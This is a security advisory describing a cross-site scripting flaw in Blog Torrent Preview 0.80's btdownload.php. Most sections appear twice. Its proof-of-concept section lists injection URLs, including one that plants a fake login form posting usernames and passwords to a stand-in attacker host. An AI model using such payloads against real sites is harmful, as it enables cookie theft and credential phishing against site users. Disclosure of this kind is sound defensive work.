Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability
BID:11839
Info
Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability
| Bugtraq ID: | 11839 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 07 2004 12:00AM |
| Updated: | Dec 07 2004 12:00AM |
| Credit: | Discovery of this vulnerability is credited to Lostmon <[email protected]>. |
| Vulnerable: |
Blog Torrent Blog Torrent Preview 0.80 |
| Not Vulnerable: |
Blog Torrent Blog Torrent Preview 0.81 |
Discussion
Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability
It is reported that Blog Torrent is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.
This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
It is reported that Blog Torrent is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.
This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
Exploit / POC
Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability
The following examples are available:
Get cookie session:
http://www.example.com/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>
Insert content :
http://www.example.com/bittorrent_module/btdownload.php?file=<img%20src=http://www.google.es/images/logo_sm.gif>
Insert remote web :
http://www.example.com/bittorrent_module/btdownload.php?file=<iframe%20src=http://www.google.es/></iframe>
Insert remote data base:
http://www.example.com/bittorrent_module/btdownload.php?file=<form%20action="http://www.atacker.com/savedb.php"%20method="post">Username:<input%20name="username"%20type="text"%2
0maxlength="30">Password:<input%20name="password"%20type="text"%20maxlength="30"><input%20name="login"%20type="submit"%20value="Login"></form>
The following examples are available:
Get cookie session:
http://www.example.com/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>
Insert content :
http://www.example.com/bittorrent_module/btdownload.php?file=<img%20src=http://www.google.es/images/logo_sm.gif>
Insert remote web :
http://www.example.com/bittorrent_module/btdownload.php?file=<iframe%20src=http://www.google.es/></iframe>
Insert remote data base:
http://www.example.com/bittorrent_module/btdownload.php?file=<form%20action="http://www.atacker.com/savedb.php"%20method="post">Username:<input%20name="username"%20type="text"%2
0maxlength="30">Password:<input%20name="password"%20type="text"%20maxlength="30"><input%20name="login"%20type="submit"%20value="Login"></form>
Solution / Fix
Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability
References:
References:
- Blog Torrent Home Page (Blog Torrent)